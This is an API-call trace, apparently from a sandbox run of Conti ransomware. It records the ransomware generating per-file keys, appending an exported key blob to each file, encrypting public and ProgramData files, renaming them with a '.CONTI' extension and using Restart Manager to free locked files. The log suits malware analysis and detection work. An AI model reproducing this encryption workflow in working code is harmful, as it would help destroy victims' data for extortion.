	[0125.108] ReadFile (in: hFile=0x2ec, lpBuffer=0x9370000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x2000, lpOverlapped=0x0) returned 1
	[0125.109] CryptEncrypt (in: hKey=0x6b7e978, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2000, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x2010) returned 1
	[0125.109] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.109] WriteFile (in: hFile=0x2ec, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x2010, lpOverlapped=0x0) returned 1
	[0129.227] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.227] WriteFile (in: hFile=0x2ec, lpBuffer=0x6b4f968*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x6b4f968*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0129.227] SetFilePointer (in: hFile=0x2ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.228] CloseHandle (hObject=0x2ec) returned 1
	[0129.562] GetProcessHeap () returned 0x1720000
	[0129.562] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b89f10
	[0129.563] lstrcpyW (in: lpString1=0x6b89f10, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl"
	[0129.563] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl.CONTI"
	[0129.563] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.003.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.003.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.003.etl.conti")) returned 1
	[0129.580] GetProcessHeap () returned 0x1720000
	[0129.580] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b89f10 | out: hHeap=0x1720000) returned 1
	[0129.580] CryptDestroyKey (hKey=0x6b7e978) returned 1
	[0129.580] GetProcessHeap () returned 0x1720000
	[0129.580] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7ac40 | out: hHeap=0x1720000) returned 1
	[0129.580] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0130.189] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6b524c8 | out: phKey=0x6b524c8*=0x17c85b0) returned 1
	[0130.189] CryptExportKey (in: hKey=0x17c85b0, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b524cc, pdwDataLen=0x3a7ff24 | out: pbData=0x6b524cc*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0130.190] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json")) returned 0x120
	[0130.190] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\telemetry.p-aria-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0130.190] GetLastError () returned 0x5
	[0130.190] CryptDestroyKey (hKey=0x17c85b0) returned 1
	[0130.190] GetProcessHeap () returned 0x1720000
	[0130.190] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6575938 | out: hHeap=0x1720000) returned 1
	[0130.190] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0132.077] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x6b46528 | out: phKey=0x6b46528*=0x17c8370) returned 1
	[0132.077] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4652c, pdwDataLen=0x3a7ff24 | out: pbData=0x6b4652c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0132.078] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.jfm" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr.jfm")) returned 0x20
	[0132.078] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr.jfm" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr.jfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0132.079] GetLastError () returned 0x20
	[0132.079] RmStartSession () returned 0x0
	[0132.083] RmRegisterResources () returned 0x0
	[0132.095] RmGetList () returned 0xea
	[0137.589] RmShutdown () returned 0x15e
	[0147.811] RmEndSession () returned 0x0
	[0147.815] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0147.815] GetProcessHeap () returned 0x1720000
	[0147.815] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7aa40 | out: hHeap=0x1720000) returned 1
	[0147.815] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0147.815] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65d6500 | out: phKey=0x65d6500*=0x17de550) returned 1
	[0147.815] CryptExportKey (in: hKey=0x17de550, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d6504, pdwDataLen=0x3a7ff24 | out: pbData=0x65d6504*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0147.816] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini")) returned 0x26
	[0147.816] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0147.816] GetLastError () returned 0x0
	[0147.816] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=175) returned 1
	[0147.816] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xaf
	[0147.817] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.817] SetEndOfFile (hFile=0x380) returned 1
	[0147.817] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.817] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.817] WriteFile (in: hFile=0x380, lpBuffer=0x65d6504*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65d6504*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0147.819] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.819] ReadFile (in: hFile=0x380, lpBuffer=0x9370000, nNumberOfBytesToRead=0xaf, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0xaf, lpOverlapped=0x0) returned 1
	[0147.819] CryptEncrypt (in: hKey=0x17de550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0xaf, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0xb0) returned 1
	[0147.819] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.819] WriteFile (in: hFile=0x380, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0xb0, lpOverlapped=0x0) returned 1
	[0147.819] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.819] WriteFile (in: hFile=0x380, lpBuffer=0x65d64f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65d64f8*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0147.819] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.819] CloseHandle (hObject=0x380) returned 1
	[0147.819] GetProcessHeap () returned 0x1720000
	[0147.819] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.819] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\Public\\Libraries\\desktop.ini" | out: lpString1="C:\\Users\\Public\\Libraries\\desktop.ini") returned="C:\\Users\\Public\\Libraries\\desktop.ini"
	[0147.819] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\Public\\Libraries\\desktop.ini.CONTI") returned="C:\\Users\\Public\\Libraries\\desktop.ini.CONTI"
	[0147.819] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Libraries\\desktop.ini.CONTI" (normalized: "c:\\users\\public\\libraries\\desktop.ini.conti")) returned 1
	[0147.820] GetProcessHeap () returned 0x1720000
	[0147.820] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.820] CryptDestroyKey (hKey=0x17de550) returned 1
	[0147.820] GetProcessHeap () returned 0x1720000
	[0147.820] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d868 | out: hHeap=0x1720000) returned 1
	[0147.820] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0147.820] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65d6070 | out: phKey=0x65d6070*=0x17de510) returned 1
	[0147.820] CryptExportKey (in: hKey=0x17de510, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d6074, pdwDataLen=0x3a7ff24 | out: pbData=0x65d6074*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0147.821] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms")) returned 0x20
	[0147.821] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0147.821] GetLastError () returned 0x0
	[0147.821] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=960) returned 1
	[0147.821] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3c0
	[0147.821] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.821] SetEndOfFile (hFile=0x380) returned 1
	[0147.822] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.822] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.822] WriteFile (in: hFile=0x380, lpBuffer=0x65d6074*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65d6074*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0147.823] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.823] ReadFile (in: hFile=0x380, lpBuffer=0x9370000, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x3c0, lpOverlapped=0x0) returned 1
	[0147.823] CryptEncrypt (in: hKey=0x17de510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x3c0, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x3d0) returned 1
	[0147.823] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.823] WriteFile (in: hFile=0x380, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x3d0, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x3d0, lpOverlapped=0x0) returned 1
	[0147.823] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.824] WriteFile (in: hFile=0x380, lpBuffer=0x65d6068*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65d6068*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0147.824] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.824] CloseHandle (hObject=0x380) returned 1
	[0147.824] GetProcessHeap () returned 0x1720000
	[0147.824] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.824] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" | out: lpString1="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms"
	[0147.824] lstrcatW (in: lpString1="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", lpString2=".CONTI" | out: lpString1="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CONTI") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CONTI"
	[0147.824] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), lpNewFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.CONTI" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms.conti")) returned 1
	[0147.824] GetProcessHeap () returned 0x1720000
	[0147.824] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.824] CryptDestroyKey (hKey=0x17de510) returned 1
	[0147.824] GetProcessHeap () returned 0x1720000
	[0147.824] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e1280 | out: hHeap=0x1720000) returned 1
	[0147.824] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0147.825] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65d52c0 | out: phKey=0x65d52c0*=0x17dea50) returned 1
	[0147.825] CryptExportKey (in: hKey=0x17dea50, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d52c4, pdwDataLen=0x3a7ff24 | out: pbData=0x65d52c4*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0147.825] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini")) returned 0x26
	[0147.825] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0147.826] GetLastError () returned 0x0
	[0147.826] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=380) returned 1
	[0147.826] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17c
	[0147.826] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.826] SetEndOfFile (hFile=0x380) returned 1
	[0147.827] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.827] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.827] WriteFile (in: hFile=0x380, lpBuffer=0x65d52c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65d52c4*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0147.828] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.828] ReadFile (in: hFile=0x380, lpBuffer=0x9370000, nNumberOfBytesToRead=0x17c, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x17c, lpOverlapped=0x0) returned 1
	[0147.829] CryptEncrypt (in: hKey=0x17dea50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x17c, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x180) returned 1
	[0147.829] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.829] WriteFile (in: hFile=0x380, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x180, lpOverlapped=0x0) returned 1
	[0147.829] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.829] WriteFile (in: hFile=0x380, lpBuffer=0x65d52b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3a7ff28, lpOverlapped=0x0 | out: lpBuffer=0x65d52b8*, lpNumberOfBytesWritten=0x3a7ff28*=0x8, lpOverlapped=0x0) returned 1
	[0147.829] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.829] CloseHandle (hObject=0x380) returned 1
	[0147.829] GetProcessHeap () returned 0x1720000
	[0147.829] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0147.829] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\Public\\Music\\desktop.ini" | out: lpString1="C:\\Users\\Public\\Music\\desktop.ini") returned="C:\\Users\\Public\\Music\\desktop.ini"
	[0147.829] lstrcatW (in: lpString1="C:\\Users\\Public\\Music\\desktop.ini", lpString2=".CONTI" | out: lpString1="C:\\Users\\Public\\Music\\desktop.ini.CONTI") returned="C:\\Users\\Public\\Music\\desktop.ini.CONTI"
	[0147.829] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Music\\desktop.ini" (normalized: "c:\\users\\public\\music\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Music\\desktop.ini.CONTI" (normalized: "c:\\users\\public\\music\\desktop.ini.conti")) returned 1
	[0147.829] GetProcessHeap () returned 0x1720000
	[0147.829] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0147.830] CryptDestroyKey (hKey=0x17dea50) returned 1
	[0147.830] GetProcessHeap () returned 0x1720000
	[0147.830] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d558 | out: hHeap=0x1720000) returned 1
	[0147.830] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3a7ff4c, lpCompletionKey=0x3a7ff50, lpOverlapped=0x3a7ff5c) returned 1
	[0147.830] CryptGenKey (in: hProv=0x174b458, Algid=0x6610, dwFlags=0x1, phKey=0x65d3088 | out: phKey=0x65d3088*=0x17de9d0) returned 1
	[0147.830] CryptExportKey (in: hKey=0x17de9d0, hExpKey=0x173a810, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d308c, pdwDataLen=0x3a7ff24 | out: pbData=0x65d308c*, pdwDataLen=0x3a7ff24*=0x20c) returned 1
	[0147.830] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini")) returned 0x26
	[0147.831] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0147.831] GetLastError () returned 0x0
	[0147.831] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x3a7fed0 | out: lpFileSize=0x3a7fed0*=380) returned 1
	[0147.831] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x17c
	[0147.831] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.831] SetEndOfFile (hFile=0x380) returned 1
	[0147.832] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.832] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0147.832] WriteFile (in: hFile=0x380, lpBuffer=0x65d308c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3a7fedc, lpOverlapped=0x0 | out: lpBuffer=0x65d308c*, lpNumberOfBytesWritten=0x3a7fedc*=0x20c, lpOverlapped=0x0) returned 1
	[0147.833] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0147.833] ReadFile (in: hFile=0x380, lpBuffer=0x9370000, nNumberOfBytesToRead=0x17c, lpNumberOfBytesRead=0x3a7fefc, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesRead=0x3a7fefc*=0x17c, lpOverlapped=0x0) returned 1
	[0147.833] CryptEncrypt (in: hKey=0x17de9d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x17c, dwBufLen=0x500000 | out: pbData=0x9370000*, pdwDataLen=0x3a7fef4*=0x180) returned 1
	[0147.833] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0147.833] WriteFile (in: hFile=0x380, lpBuffer=0x9370000*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x3a7ff10, lpOverlapped=0x0 | out: lpBuffer=0x9370000*, lpNumberOfBytesWritten=0x3a7ff10*=0x180, lpOverlapped=0x0) returned 1
	[0147.833] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
